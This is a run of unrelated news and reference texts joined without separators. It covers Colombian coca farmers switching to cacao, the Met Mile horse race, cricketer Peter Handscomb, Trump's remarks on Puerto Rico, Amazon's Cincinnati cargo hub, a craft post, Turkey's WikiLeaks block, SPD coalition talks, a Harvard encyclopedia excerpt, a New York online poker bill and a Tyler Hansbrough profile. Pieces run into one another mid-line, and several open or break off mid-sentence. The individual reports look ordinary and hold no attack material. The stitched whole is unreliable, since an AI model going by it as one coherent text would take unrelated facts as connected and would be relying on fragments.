“This requires money and dedication, because cacao is a plant that requires three years to mature before you can receive money,” he explained. “That is why people don’t want to change their plants.”
For years, armed groups like FARC and ELN funded their operations by taxing the cocaine trade in remote regions of Colombia. With the signing of the peace agreement last year, however, the government saw a chance to uproot the rebel controlled drug trade.
Officials hope that farmers will be enticed to substitute their coca crops by offering a monthly payment of about $325 for the first year that farmers give up coca and plant new crops like cacao. The first 50,000 families that take the offer will also receive subsidies and training to grow their new crops.
In the isolated town of Guerima, Casallas is among the farmers now receiving support to replace the rest of his coca hectares. But convincing everyone that this is a good investment for the future is difficult. Colombia’s Air Force is helping them export their cacao, but otherwise they see little hands on government help.
“There are some farmers that we have detected that continue planting coca along with their new projects thinking, ‘Just in case the government fails me, I have a plan B’,”according to Col. Jean Paul Strong.
Despite the challenges, Casallas is determined not to give up. He says that at his age he’s looking to leave a crop that his sons can proudly inherit.
“I want a future for my children and grandchildren, because this tree can last 30 to 40 years. Imagine a future of 35 years.”American Pharoah going for the Triple Crown by way of the Belmont Stakes is cool and all, but let’s get real -- it will not even be the best race on a crazy good racing card slated for June 6 at Belmont Park. That’s right, I said it. Top to bottom quality, the 2015 Met Mile blows the third leg of America’s Triple Crown away, and it ain’t even close.
Tonalist won the Belmont and the Jockey Club Gold Cup over this very track last year, and came back recently looking like the genuine article. Palace Malice is the defending champ, and while he lost his comeback race, I expect a different horse after getting in that six furlong prep. And lest we forget, he is also the 2013 Belmont Stakes winner. Getting the last two Belmont winners to face off on Belmont Day this year is classic.
Speaking of classic, how about the 2014 Breeders’ Cup Classic winner, Bayern? Draw a line through his debacle at Churchill, and instead think about how he looked on Belmont Day last year. Wicked Strong has not won a ton, but we all know the Wood Memorial and Jim Dandy winner is full of class. Maybe not as full as class as Private Zone, though. Last time he ran a flat mile in New York, he turned in a thing of beauty in the Cigar Mile. And if that speedy son of a gun is part of a fast early pace, it could well set things up for the stone cold closing pair of the talented Honor Code, and the 2013 Met Mile winner, Sahara Sky.
Race Day is another from the powerful New York barn of Todd Pletcher, and he looked terrific in dominating a pair of stakes at Oaklawn Park. And if you are into the whole international flavor thing, both Tamarkuz and Sloane Avenue, the 1-2 finishers in the rich Godolphin Mile, are respectively no joke. Do I have your attention yet? This Grade 1, $1.25 Million field is not yet set in stone, but with ten probables like these, you can see why the Met Mile will be can’t miss racing.
So while the world watches to see if American Pharoah can do something that no horse has been able to complete in nearly four decades, we, the hardcore racing fans, can smile and nod to the few days a year fan, but deep down, we know that the Met Mile is the best race of the day.Peter Handscomb has neither the inclination nor intention to become Australia's full-time wicketkeeper, instead wanting to show he belongs as a batsman in Test cricket's ultimate proving ground.
Quick Single: Peter's perfect prep for series decider
It's a stance that has been applauded by Brad Haddin, the retired stumper who sits fourth on Australia's list of all-time Test dismissals.
Handscomb has taken the gloves throughout this week's ODI series in New Zealand following stand-in skipper Matthew Wade's back injury. The 25-year-old did the same in the SCG Test last month, when Wade was sick.
Handscomb takes gloves from ill Wade
Selectors opted against summoning a replacement gloveman across the Tasman for the current three-match series.
Chairman of selectors Trevor Hohns indicated earlier this week he'd be comfortable with Handscomb keeping throughout a Test in India, if Wade were to suffer a last-minute setback during the four-match series that starts on February 23.
Handscomb remarked last year that given Sri Lankan legend Kumar Sangakkara struggled to balance both top-order batting and wicketkeeping in his career, it'd be too big a task for him as well.
And today he said there is no prospect of him claiming Wade's spot in the XI on a long-term basis.
"It's an absolute honour to put the gloves on for Australia but first and foremost I've always been a batsman," Handscomb said in Hamilton, where the Chappell-Hadlee trophy will be up for grabs on Sunday.
Handscomb in a hurry through the nineties
"I was throughout junior cricket, when I was keeping as well. Batting was always my number one, but going away for series and being the back-up keeper, I'm very happy to do.
"It's definitely a little bit of extra pressure, but if that's what the team needs, I'm happy."
Haddin, who has worked with Handscomb in New Zealand and also mentored him last year during an Australia A series, suggested the Victorian was "too good a batter" to be burdened with the responsibility of regular keeping.
It is a fair argument given Handscomb's career is four Tests old and he already has two tons and an average of 99.75.
"He's got the right temperament to stop those collapses that we have," Haddin said in Hamilton.
"He doesn't get flustered at the wicket, he seems to handle the big stage with ease... he got runs under pressure."
Wade was expected to have scans and a cortisone injection upon return to Melbourne before flying out on Sunday or Monday for a training camp in Dubai.
Wade's back spasms are untimely but Handscomb insisted his state captain would be fully fit for the series opener in Pune.
"Wadey's a strong character and it takes a lot to actually keep him off the park," he said.
"The fact I've had to do some keeping was a fair shock... I have no doubt he'll be fine for India."President Donald Trump on Thursday gave the federal government’s hurricane response in Puerto Rico “a 10” out of 10.
Answering reporters’ questions in the Oval Office for more than 30 minutes alongside the island’s governor, Ricardo Rosselló, Trump repeated the phrase often, and even attempted to draw similar praise from the governor.
“Did the United States, did our government, when we came in, did we do a great job? Military? First responders? FEMA? Did we do a great job?” Trump asked the governor.
“You responded immediately, sir,” Rosselló said, failing to match Trump’s self-congratulatory tone. The governor listed a series of obstacles that he said disaster relief personnel on the island had had to overcome.
“The response is there,” he said. “Do we need to do a lot more? Of course we do. And I think everybody over here recognizes there’s a lot of work to be done in Puerto Rico. But with your leadership, sir, and with everybody over here, we’re committed to achieving that in the long run.”
Trump unwound his arms, tightly-crossed through much of the meeting, to point to his FEMA administrator. “Brock?”
Brock Long listed FEMA’s efforts “from the Virgin Islands to California,” and affirmed that, yes, Mr. President, “it’s been a tremendous effort.”
“This is actually bigger than anything we’ve seen,” Trump said, somewhat defiantly. “And yet I think our response was better than anyone has ever seen.”
Officially, 48 people have died on the island as a result of the storm, but the real count is likely much higher. According to the Puerto Rican government, the vast majority of the island is still without power, and clean drinking water is still a rarity in some areas.
In the wide-ranging question-and-answer session, the pair discussed everything from reports of local corruption to, briefly, Puerto Rican statehood. “You’ll get me into trouble with that question,” Trump told an inquiring reporter. At one point, the President congratulated members of the military who had become deputized truck drivers, filling in for truckers on the island who had lost everything.
“They’re not supposed to be driving trucks,” he said. “It’s not even their aptitude.”
Much of the press availability, however, consisted of a terse back-and-forth between a governor overseeing a devastated island and a President who complained just days after Hurricane Maria made its chaotic landfall that Puerto Ricans “want everything to be done for them.”
Rosselló thanked Trump for his support for investments that he projected would make the island a “model of sustainable energy and growth towards the future.”
Trump countered: “You are talking about some substantial numbers, and I guess you knew that.”
“I know you were talking about rebuilding your electric plant long before the hurricane, you’ve been wanting to do that for a long time,” Trump continued. “So maybe this is a reason that we can do it and we’ll help you and we’ll all do it together.”
Perhaps predictably, the President returned to his obsession with Puerto Rico’s debt crisis. In 2016, Congress signed into law the so-called PROMESA legislation, which turned control of the island’s debt over to a federally-appointed financial oversight board.
Once, Trump implied that the island’s debt would be forgiven as part of the hurricane relief effort. His budget director quickly clarified that the President meant no such thing. On Thursday, Trump sounded like he wanted to issue even more debt to the island — and to prioritize the government’s position as a debt collector.
“We’re going to be coming before — meaning far before — any existing debt that’s on the island because as you know, the island has massive debt,” he said cryptically, adding: “Any debt that’s put in, we’ll be coming before that debt. We want to make sure that we put in debt, and that debt is absolutely protected.”SAN FRANCISCO (Reuters) - Amazon.com Inc (AMZN.O) plans to schedule more than 200 flight departures and landings per day at a $1.49 billion cargo hub it is building near Cincinnati, the airport’s chief said in an interview on Wednesday, in a sign of the soaring ambitions of the online retailer.
Amazon announced the airport project on Tuesday but gave few details.
The flight estimate offers new insight into Amazon’s plan to handle shipping in-house, cut costs and speed packages to shoppers. It is written in the lease term sheet that Amazon and the airport expect to sign, said Candace McGraw, chief executive of Cincinnati/Northern Kentucky International Airport.
The scale of the Cincinnati project suggests it will take on cargo airlines such as FedEx Corp (FDX.N) and United Parcel Service Inc (UPS.N), said Marc Wulfraat, president of logistics consultancy MWPVL International Inc.
Amazon has said its plane leases are designed to supplement, rather than replace its cargo partners. It did not immediately respond to a request for comment.
“They’re going to become a full-fledged competitor to UPS,” Wulfraat said. The $1.49 billion investment could have bought Amazon six warehouses, but the e-commerce giant is instead making a longer-term move aimed at lowering shipping costs, he added.
Amazon only has disclosed leasing 40 Boeing Co 767 (BA.N) planes to date, 16 of which are in operation. It has been building operations at smaller airports across the country.
Amazon will lease 919 acres (372 hectares) from the airport, and the south lot it plans to build out first will have more than 100 parking spaces for planes, said Cincinnati airport’s McGraw.
The world’s largest online retailer would have to contract dozens more planes worth billions of dollars at current list prices to fill its future hub’s parking spaces, and still more if it wants to operate routes that do not include Cincinnati.
A wide body aircraft emblazoned with Amazon's Prime logo is unloaded at Lehigh Valley International Airport in Allentown, Pennsylvania, U.S. December 20, 2016. P REUTERS/Mark Makela/File Photo
Amazon’s plane leases were for 10 years or less. The airport lease is for 50 years.
The size and term of the deal has convinced McGraw that Amazon’s air cargo business is more than a trial service.
“I have complete confidence they’re all in,” McGraw said. McGraw said she expected to finalize the term sheet with Amazon soon.So, * The-Paper-Pony held a shadowbox class, where he sent out pre-cut paper to participants and we all built our own sleepy pony shadowboxes. This is mine!I'm thrilled with how it came out. I could have been a tad more careful with the tabs on the tail; they're a bit too close to the edge of the paper, and you can see them from most angles. I might (if it bothers me too much) open it back up and fix just that little bit at some point. Outside of that, though, I only have thanks for * The-Paper-Pony for giving us this AWESOME opportunity!As a side note, if this is something you guys might want to do, you should TOTALLY go and watch! They plan to do another class sometime soon, and they're excellent at explaining this stuff, so GO!Turkey has blocked access to the WikiLeaks website, the telecoms watchdog has said, after nearly 300,000 emails from president Recep Tayyip Erdoğan’s ruling Justice and Development party (AKP) were put online as Ankara grapples with the aftermath of a failed military coup.
The emails date from 2010 to 6 July this year. Obtained before the attempted coup, the date of their publication was brought forward “in response to the government’s post-coup purges”, WikiLeaks said on its website, adding that the source of the emails was not connected to the coup plotters or to a rival political party or state.
Turkey’s telecommunications communications board said an “administrative measure” had been taken against the website – the term it commonly uses when blocking access to sites. Turkey routinely uses internet shutdowns in response to political events, which critics and human rights advocates see as part of a broader attack on the media and freedom of expression.
A senior Turkish official said the ban was imposed on the WikiLeaks content because it constituted stolen or illegally obtained information.
The ban came hours before a high-level national security council meeting that will, for the first time since the coup attempt, bring together the president, top cabinet and military officials in Ankara to discuss policies in response to Friday’s coup attempt.
The government has already launched a wide-ranging crackdown, detaining and purging thousands of police officers, judges, prosecutors, teachers and university staff that officials say is aimed at loyalists of the exiled cleric Fethullah Gülen. They have also imposed a travel ban on academics, which officials said was a temporary measure because accomplices of the coup plotters in universities were a flight risk.
The broad range of the crackdown has drawn condemnations and warnings of government overreach in the wake of the coup attempt.
The travel ban comes a day after the board ordered the resignation of 1,577 deans at all universities across Turkey. In a separate move on Tuesday, the education ministry also revoked the licences of 21,000 teachers working in private institutions.Talks would examine all possibilities for building a government, including another “grand coalition” between the SPD and Merkel's conservatives | Christian Bruna/EPA German SPD agrees to talks with Angela Merkel’s conservatives The SPD leadership’s decision to open talks about all potential options for a government was unanimous.
BERLIN — Germany’s center-left Social Democrats agreed to enter into talks with Chancellor Angela Merkel’s conservatives about possibly forming a new government, according to a report Monday.
SPD leadership met Monday and unanimously decided on opening talks with Merkel’s Christian Democrats and its Bavarian sister party, the Christian Social Union, Reuters reported.
The talks would examine all possibilities for building a government, including another “grand coalition” between the SPD and the conservatives or a Merkel-led minority government in which the SPD agrees to support her on certain issues.
The news comes after SPD leader Martin Schulz met with Merkel, German President Frank-Walter Steinmeier and CSU leader Horst Seehofer last week. At the time, Schulz said it was not “automatic” that talks would result in another “grand coalition,” reiterating that multiple options are on the table.
After receiving just over 20 percent in September’s general election, Schulz announced that the SPD would go into opposition and would not be available to form a government with Merkel’s conservatives. However, under pressure to reconsider after talks collapsed between the conservatives, the liberal Free Democrats and the Greens, Schulz agreed late last month to consider coalition talks.
SPD members will vote on the issue later this week, as well as for their party leadership, at the national party congress in Berlin.
Speaking on Monday at SPD headquarters in Berlin, Schulz said: "We will explore whether and how the formation of a government is possible in Germany.”
He said there are ways in which talks could progress, adding that the SPD’s goal in any potential governing situation is to ensure the “maximum” amount of SPD policy is implemented.
“We know what we want with regard to content,” Schulz said, adding that social democratic “basic values” and the party’s 2017 campaign platform would be starting points for their position in discussions.
Schulz noted that SPD party members will get the “final word” |
university offers 46 undergraduate concentrations (majors),[92] 134 graduate degrees,[93] and 32 professional degrees.[94] For the 2008–2009 academic year, Harvard granted 1,664 baccalaureate degrees, 400 master's degrees, 512 doctoral degrees, and 4,460 professional degrees.[94]
The four-year, full-time undergraduate program comprises a minority of enrollments at the university and emphasizes instruction with an "arts and sciences focus".[15] Between 1978 and 2008, entering students were required to complete a core curriculum of seven classes outside of their concentration.[95] Since 2008, undergraduate students have been required to complete courses in eight General Education categories: Aesthetic and Interpretive Understanding, Culture and Belief, Empirical and Mathematical Reasoning, Ethical Reasoning, Science of Living Systems, Science of the Physical Universe, Societies of the World, and United States in the World.[96] Harvard offers a comprehensive doctoral graduate program, and undergraduate degrees.[15] The Carnegie Foundation for the Advancement of Teaching, The New York Times, and some students have criticized Harvard for its reliance on teaching fellows for some aspects of undergraduate education; they consider this to adversely affect the quality of education.[97][98]
Harvard's academic programs operate on a semester calendar beginning in early September and ending in mid-May.[99] Undergraduates typically take four half-courses per term and must maintain a four-course rate average to be considered full-time.[100] In many concentrations, students can elect to pursue a basic program or an honors-eligible program requiring a senior thesis and/or advanced course work.[101] Students graduating in the top 4–5% of the class are awarded degrees summa cum laude, students in the next 15% of the class are awarded magna cum laude, and the next 30% of the class are awarded cum laude.[102] Harvard has chapters of academic honor societies such as Phi Beta Kappa and various committees and departments also award several hundred named prizes annually.[103] Harvard, along with other universities, has been accused of grade inflation,[104] although there is evidence that the quality of the student body and its motivation have also increased.[105] Harvard College reduced the number of students who receive Latin honors from 90% in 2004 to 60% in 2005. Moreover, the honors of "John Harvard Scholar" and "Harvard College Scholar" would now be given only to the top 5 percent and the next 5 percent of each class.[106][107][108][109]
University policy is to expel students engaging in academic dishonesty to discourage a "culture of cheating."[110][111][112] In 2012, dozens of students were expelled for cheating after an investigation of more than 120 students.[113] In 2013, there was a report that as many as 42% of incoming freshmen had cheated on homework prior to entering the university,[114] and these incidents have prompted the university to consider adopting an honor code.[112][115]
For the 2012–2013 school year, annual tuition was $38,000, with a total cost of attendance of $57,000.[116] Beginning in 2007, families with incomes below $60,000 pay nothing for their children to attend, including room and board. Families with incomes between $60,000 to $80,000 pay only a few thousand dollars per year, and families earning between $120,000 and $180,000 pay no more than 10% of their annual incomes.[16] In 2009, Harvard offered grants totaling $414 million; $340 million came from institutional funds, $35 million from federal support, and $39 million from other outside support. Grants total 88% of Harvard's aid for undergraduate students, with aid also provided by loans (8%) and work-study (4%).[117] Tuition only covers 6.4% of Harvard's operating costs.[118]
Research
Harvard is a founding member of the Association of American Universities[119] and remains a research university with "very high" research activity and a "comprehensive" doctoral program across the arts, sciences, engineering, and medicine.[15] Research and development expenditures in 2011 totaled $650 million, 27th among American universities.[120]
Libraries and museums
The Harvard University Library system is centered in Widener Library in Harvard Yard and comprises nearly 80 individual libraries holding over 18 million volumes.[17][18] According to the American Library Association, this makes it the largest academic library in the United States, and one of the largest in the world.[18]
Houghton Library, the Arthur and Elizabeth Schlesinger Library on the History of Women in America, and the Harvard University Archives consist principally of rare and unique materials. America's oldest collection of maps, gazetteers, and atlases both old and new is stored in Pusey Library and open to the public. The largest collection of East-Asian language material outside of East Asia is held in the Harvard-Yenching Library.
Large Four Piece Reclining Figure, near Lamont Library Henry Moore's sculpture, near Lamont Library
The Harvard Art Museums comprise three museums. The Arthur M. Sackler Museum includes collections of ancient, Asian, Islamic and later Indian art, the Busch-Reisinger Museum, formerly the Germanic Museum, covers central and northern European art, and the Fogg Museum of Art, covers Western art from the Middle Ages to the present emphasizing Italian early Renaissance, British pre-Raphaelite, and 19th-century French art. The Harvard Museum of Natural History includes the Harvard Mineralogical Museum, Harvard University Herbaria featuring the Blaschka Glass Flowers exhibit, and the Museum of Comparative Zoology. Other museums include the Carpenter Center for the Visual Arts, designed by Le Corbusier, housing the film archive, the Peabody Museum of Archaeology and Ethnology, specializing in the cultural history and civilizations of the Western Hemisphere, and the Semitic Museum featuring artifacts from excavations in the Middle East.
University rankings
National Program Rankings[126] Program Ranking Biological Sciences 1 Business 1 Chemistry 4 Clinical Psychology 16 Computer Science 18 Earth Sciences 8 Economics 1 Education 1 Engineering 23 English 8 History 4 Law 3 Mathematics 3 Medicine: Primary Care 16 Medicine: Research 1 Physics 2 Political Science 1 Psychology 3 Public Affairs 3 Public Health 2 Sociology 1 Statistics 4
Global Program Rankings[127] Program Ranking Agricultural Sciences 13 Arts & Humanities 2 Biology & Biochemistry 1 Chemistry 9 Clinical Medicine 1 Computer Science 6 Economics & Business 1 Engineering 34 Environment/Ecology 2 Geosciences 7 Immunology 1 Materials Science 5 Mathematics 10 Microbiology 1 Molecular Biology & Genetics 1 Neuroscience & Behavior 1 Pharmacology & Toxicology 1 Physics 3 Plant & Animal Science 5 Psychiatry/Psychology 1 Social Sciences & Public Health 1 Space Science 2
Among overall rankings, the Academic Ranking of World Universities (ARWU) has ranked Harvard as the world's best university every year since it was first released.[128] When QS and Times Higher Education (THE) were published in partnership as the THE-QS World University Rankings during 2004–2009, Harvard had held the top spot every year, so has it on THE World Reputation Rankings ever since it was released in 2011.[129]
Regarding rankings of specific indicators, Harvard topped both University Ranking by Academic Performance 2015–2016 and Mines ParisTech: Professional Ranking of World Universities (2011), which measured universities' numbers of alumni holding CEO positions in Fortune Global 500 companies.[130] According to the 2016 poll done by The Princeton Review, Harvard is the second most commonly named "dream college" in the United States, both for students and parents.[131] College ROI Report: Best Value Colleges by PayScale puts Harvard 22nd nationwide in the most recent 2016 edition.[132]
Student life
Demographics of student body[133][134][135] Undergrad Graduate U.S. census Asian/Pacific Islander 17% 11% 5% Black/non-Hispanic 6% 4% 12% Hispanics of any race 9% 5% 16% White/non-Hispanic 46% 43% 64% Mixed race/other 10% 8% 9% International students 11% 27% N/A
Student body
In the last six years, Harvard's student population ranged from 19,000 to 21,000, across all programs.[136] Harvard enrolled 6,655 students in undergraduate programs, and over 14,000 students in graduate and professional programs.[133] The undergraduate population is 51% female, while the graduate population is 48% female.[133]
The Harvard Undergraduate Council and Harvard Graduate Council are the chief organs of student government.
Athletics
The Harvard Crimson competes in 42 intercollegiate sports in the NCAA Division I Ivy League. Harvard has an intense athletic rivalry with Yale University culminating in The Game, although the Harvard–Yale Regatta predates the football game. This rivalry is put aside every two years when the Harvard and Yale Track and Field teams come together to compete against a combined Oxford University and Cambridge University team, a competition that is the oldest continuous international amateur competition in the world.[137]
Harvard's athletic rivalry with Yale is intense in every sport in which they meet, coming to a climax each fall in the annual football meeting, which dates back to 1875 and is usually called simply "The Game". While Harvard's football team is no longer one of the country's best as it often was a century ago during football's early days (it won the Rose Bowl in 1920), both it and Yale have influenced the way the game is played. In 1903, Harvard Stadium introduced a new era into football with the first-ever permanent reinforced concrete stadium of its kind in the country. The stadium's structure actually played a role in the evolution of the college game. Seeking to reduce the alarming number of deaths and serious injuries in the sport, Walter Camp (former captain of the Yale football team), suggested widening the field to open up the game. But the stadium was too narrow to accommodate a wider playing surface. So, other steps had to be taken. Camp would instead support revolutionary new rules for the 1906 season. These included legalizing the forward pass, perhaps the most significant rule change in the sport's history.[138][139]
Harvard has several athletic facilities, such as the Lavietes Pavilion, a multi-purpose arena and home to the Harvard basketball teams. The Malkin Athletic Center, known as the "MAC", serves both as the university's primary recreation facility and as a satellite location for several varsity sports. The five-story building includes two cardio rooms, an Olympic-size swimming pool, a smaller pool for aquaerobics and other activities, a mezzanine, where all types of classes are held, an indoor cycling studio, three weight rooms, and a three-court gym floor to play basketball. The MAC offers personal trainers and specialty classes. It is home to Harvard volleyball, fencing and wrestling.
Harvard men's eight crew at Henley, 2004
Weld Boathouse and Newell Boathouse house the women's and men's rowing teams, respectively. The men's crew also uses the Red Top complex in Ledyard, Connecticut, as their training camp for the annual Harvard–Yale Regatta. The Bright Hockey Center hosts the Harvard hockey teams, and the Murr Center serves both as a home for Harvard's squash and tennis teams as well as a strength and conditioning center for all athletic sports.
As of 2013, there were 42 Division I intercollegiate varsity sports teams for women and men at Harvard, more than at any other NCAA Division I college in the country.[140] As with other Ivy League universities, Harvard does not offer athletic scholarships.[141]
Older than The Game by 23 years, the Harvard–Yale Regatta was the original source of the athletic rivalry between the two schools. It is held annually in June on the Thames River in eastern Connecticut. The Harvard crew is typically considered to be one of the top teams in the country in rowing. Today, Harvard fields top teams in several other sports, such as the Harvard Crimson men's ice hockey team (with a strong rivalry against Cornell), squash, and even recently won NCAA titles in Men's and Women's Fencing. Harvard also won the Intercollegiate Sailing Association National Championships in 2003.
Harvard's men's ice hockey team won the school's first NCAA Championship in any team sport in 1989. Harvard was also the first Ivy League institution to win a NCAA championship title in a women's sport when its women's lacrosse team won the NCAA Championship in 1990.
Harvard Undergraduate Television has footage from historical games and athletic events including the 2005 pep-rally before the Harvard-Yale Game.
The school color is crimson, which is also the name of the Harvard sports teams and the daily newspaper, The Harvard Crimson. The color was unofficially adopted (in preference to magenta) by an 1875 vote of the student body, although the association with some form of red can be traced back to 1858, when Charles William Eliot, a young graduate student who would later become Harvard's 21st and longest-serving president (1869–1909), bought red bandanas for his crew so they could more easily be distinguished by spectators at a regatta.
Song
Harvard has several fight songs, the most played of which, especially at football, are "Ten Thousand Men of Harvard" and "Harvardiana." While "Fair Harvard" is actually the alma mater, "Ten Thousand Men" is better known outside the university. The Harvard University Band performs these fight songs, and other cheers at football and hockey games. These were parodied by Harvard alumnus Tom Lehrer in his song "Fight Fiercely, Harvard," which he composed while an undergraduate.
Notable people
Alumni
Faculty
Harvard's faculty includes scholars such as biologist E. O. Wilson, psychologist Steven Pinker, physicists Lisa Randall and Roy Glauber, chemists Elias Corey, Dudley R. Herschbach and George M. Whitesides, computer scientists Michael O. Rabin and Leslie Valiant, Shakespeare scholar Stephen Greenblatt, writer Louis Menand, critic Helen Vendler, historians Henry Louis Gates, Jr. and Niall Ferguson, economists Amartya Sen, N. Gregory Mankiw, Robert Barro, Stephen A. Marglin, Don M. Wilson III and Martin Feldstein, political philosophers Harvey Mansfield, Baroness Shirley Williams and Michael Sandel, Fields Medalist mathematician Shing-Tung Yau, political scientists Robert Putnam, Joseph Nye, and Stanley Hoffmann, scholar/composers Robert Levin and Bernard Rands, astrophysicist Alyssa A. Goodman, and legal scholars Alan Dershowitz and Lawrence Lessig.
Past faculty members include Stephen Jay Gould, Robert Nozick, Stephan Thernstrom, Sanford J. Ungar, Michael Walzer, and Cornel West.
Literature and popular culture
Harvard's legacy as a leading research and educational institution has a significant impact in both academy and popular culture. Furthermore, the perception of Harvard as a center of either elite achievement, or elitist privilege, has made it a frequent literary and cinematic backdrop. "In the grammar of film, Harvard has come to mean both tradition, and a certain amount of stuffiness," film critic Paul Sherman has said.[142]
Literature
Film
Harvard's policy since 1970 has been to permit filming on its property only rarely, so most scenes set at Harvard (especially indoor shots, but excepting aerial footage and shots of public areas such as Harvard Square) are in fact shot elsewhere.[148][149]
See also
ReferencesIf you post about one of this games please declare the post with the name of the game you are talking about to prevent mistakes and misunderstanding!
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-----------------------------------------------Update May 6th: A companion bill to S 6913 has been introduced in the Assembly. That bill – A09509 – appears identical to the Senate bill.
A new bill in the New York Senate –– seeks to regulate intrastate online poker for those within the borders of the Empire State.
The bill was introduced by State Sen. John Bonacic (R – 42nd) and comes days after Sen. Lindsey Graham and Rep. Jason Chaffetz introduced a Sheldon Adelson-backed federal bill to outlaw most forms of regulated online gambling, including poker.
Read the full text of the bill here.
“New Yorkers are today spending millions on overseas, illegal gaming sites that have no consumer protections or effective restrictions to keep minors from playing,” Senator Bonacic said in a statement to OPR.
“I believe we need to start having a discussion on addressing this issue. That is why I have introduced legislation which would regulate online poker here in New York to protect consumers, prevent underage gaming, and combat problem gaming.”
The bill now sits with the Senate Committee on Racing, Gaming and Wagering. Sen. Bonacic is the chair of that committee.
Handicapping the chances for passage
This is not New York’s first attempt at regulating online poker. A last-minute legislative push in March of 2013 to add online poker regulation to the NY state budget came up short.
With that said, Bonacic’s bill appears to be more of an initial step in the process than an immediate precursor to regulated online poker in New York.
As Bonacic told OPR, he views the introduction of the bill as a way to “start having a discussion on the issue.”
Bonacic was even more direct in his comments to the AP, saying that he doesn’t “intend to push this this year.”
John Pappas, Executive Director of the Poker Player’s Alliance, offered a similar prognosis to PocketFives.com, saying “[T]here is no House companion bill at this time. Getting House support will be critical and, without that, it will be a real challenge to have legislation considered this year. This is a great first step, but I think we are far from seeing this bill become law.”
Cliffs: New York’s online poker bill
Games allowed: The bill allows for poker only, both cash and tournament play.
License info: The bill authorizes 10 online poker licenses good for 10 years. The licence fee is $10mm. The tax rate is 15% of gross gaming revenue.
Bad actor: Any person or asset involved in taking any wagers – including poker – from the US after 12/31/2006 appears to be disqualified from licensing.
Compacts: The bill allows for New York to enter into liquidity-sharing agreements with other states.
Other: Updates the definition of “contest of chance” in a way that may have significant implications beyond online poker.
Detailed overview of the NY online poker bill
Below are some of the key points of the bill, ordered by section. Read the full text of the bill here.
1400. Legislative Findings and Purpose
Argues that poker is a game of skill and therefore distinct from other “contests of chance” as defined by New York gambling law.
Draws a distinction between sites and operators that accepted bets from New York before and after enactment of UIGEA. Argues that those who took bets post-UIGEA should be excluded from regulated online poker in New York, saying it would “create unfair competition” with “licensees that respected federal and state law.”
1401. Definitions
Authorized game is defined is hold’em, omaha or “any other poker game” that the commission “determines is the material equivalent.” Cash and tournament play are both permitted.
is defined is hold’em, omaha or “any other poker game” that the commission “determines is the material equivalent.” Cash and tournament play are both permitted. Covered asset is where the heart of the “bad actor” clause exists and includes any asset “used in connection with the knowing and willful acceptance of any wager” from the US “of any form of interactive gaming” that was not “affirmatively authorized by state or federal law after 12/31/2006. The definition covers any intellectual property, customer list or any assets “used to provide a core function.”
is where the heart of the “bad actor” clause exists and includes any asset “used in connection with the knowing and willful acceptance of any wager” from the US “of any form of interactive gaming” that was not “affirmatively authorized by state or federal law after 12/31/2006. The definition covers any intellectual property, customer list or any assets “used to provide a core function.” Interactive gaming gross revenue is defined as the sum of all revenue less winnings paid and promotional gaming credits. Non-cash promotional items are not included in the calculation. Deposits do not count as revenue.
is defined as the sum of all revenue less winnings paid and promotional gaming credits. Non-cash promotional items are not included in the calculation. Deposits do not count as revenue. Significant vendor includes those who provide a core function, who sell or license customer lists, who provide any intellectual property or who share in a percentage of revenue generated by customers.
1402. Authorization
Regulations must be promulgated within 180 days of the bill becoming law.
Up to 10 licenses to operate online poker sites can be awarded by the commission.
Licenses are intended to be issued no sooner than 180 days after regulations are promulgated.
Operators and significant vendors must be licensed by the commission.
License fee is $10mm.
Licenses are good for 10 years.
The commission may enter into agreements with other states to share liquidity.
1403. Required Safeguards / Minimum Standards
The commission must ensure minimum standards regarding age, geolocation, consumer privacy, problem gambling resources and fair games.
Bots are prevented.
Player funds must be segregated.
1404. Scope of Licensing Review
The suitability review for licensees covers owners, CFO, CEO and anyone “significantly involved.” Anyone owning 5% or more is also required to face review, although institutional investors holding under 25% ownership get a waiver under certain circumstances.
“Bad actors” – defined as anyone who “has at any time, either directly, or through another person it owned, in whole or in significant part, or controlled, knowing and willfully accepted or made available wagers on interactive gaming (including poker) from persons located in the United States” after 12/31/2006. The section also excludes those who “knowingly facilitated or otherwise provided services with respect” to online gambling (including poker) in the US and anyhow who has “purchased or acquired” such a person or plans to use such a person or a “covered asset” in connection with the license they’re pursuing to do business in New York.
1405. State tax
The tax rate is 15% of gross gaming revenue.
The definition of “contest of chance” is edited to read “depends predominantly on an element of chance” instead of “depends in a material degree.”
Offering interactive gaming online without a license is now a gambling offense.
Unlicensed operators are liable for all taxes due.
Read the full text of the bill here.
Reaction to New York’s online poker bill
John Pappas, Executive Director of the Poker Player’s Alliance, suggested that a legislative move on Internet poker has been brewing in New York for some time.
“Last year I met with legislative leaders in New York and they expressed a deep interest in regulating online poker,” Pappas told OPR. “The state leaders are looking around, and they do not want to be left behind.”
Pappas also suggested some interplay between the online poker bill and the state’s drive to expand land-based gambling, noting that with “an uncertain timetable for brick and mortar casinos in New York, regulated Internet poker could be a more immediate boost for gaming companies to get a foothold in the market and for the state to raise some revenue.”In Indiana they called it the “motherf—-r clock.” And it explains everything you need to know about Tyler Hansbrough on the basketball court. “As a coaching staff we’d always set up a timer in practice. And it was to measure how long it would take for Tyler’s matchup to call him a motherf—-r,” says Frank Vogel, Hansbrough’s first NBA coach. “It seemed every five minutes you’d see the guy he was guarding throw his hands up and go, ‘This motherf—-r right here, I swear I’m gonna…’ Every practice. Every game. It became like our own office pool. Like, ‘How long do you think it’ll take today?’”
In his six NBA seasons, Hansbrough has earned a reputation as one of the league’s premier agitators, a brutish menace whose relentlessness brings out the worst in others. You may know him from such YouTube videos as: “Tyler Hansbrough tackles Mike Dunleavy,” “Sebastian Telfair slaps Tyler Hansbrough in the face,” “Will Bynum gets ejected for punching Tyler Hansbrough,” “Tyler Hansbrough stands up for brother Ben,” and, simply, “Bloody Hansbrough.”
You may also know Hansbrough as the former face of college basketball, the 2008 National Player of the Year and Sports Illustrated cover boy (twice) who led the North Carolina Tar Heels to a championship in 2009. Or, more recently, as the Toronto Raptors’ de facto enforcer, a player GM Masai Ujiri brought in to add an element of toughness that had been missing since Charles Oakley rocked the purple and black.
But chances are you don’t know Hansbrough as the quiet, shy middle child from a small-town Missouri family, as an inspired spokesperson and advocate, or as the self-proclaimed “most laid-back guy in the whole locker room.”
His brash playing style and the success that it’s bred have made Hansbrough a polarizing figure, a walking archetype of the player you love when he’s on your team and hate when he’s not. But take the guy off a basketball court and you’ll be hard-pressed to find a more, well, normal pro athlete. Turns out Tyler Hansbrough isn’t who you might have thought.
Photo: Christopher Wahl
On a cold November morning after practice, Hansbrough ducks his head under a door frame, sweat still dripping off his brow, and barges onto the empty Air Canada Centre concourse.
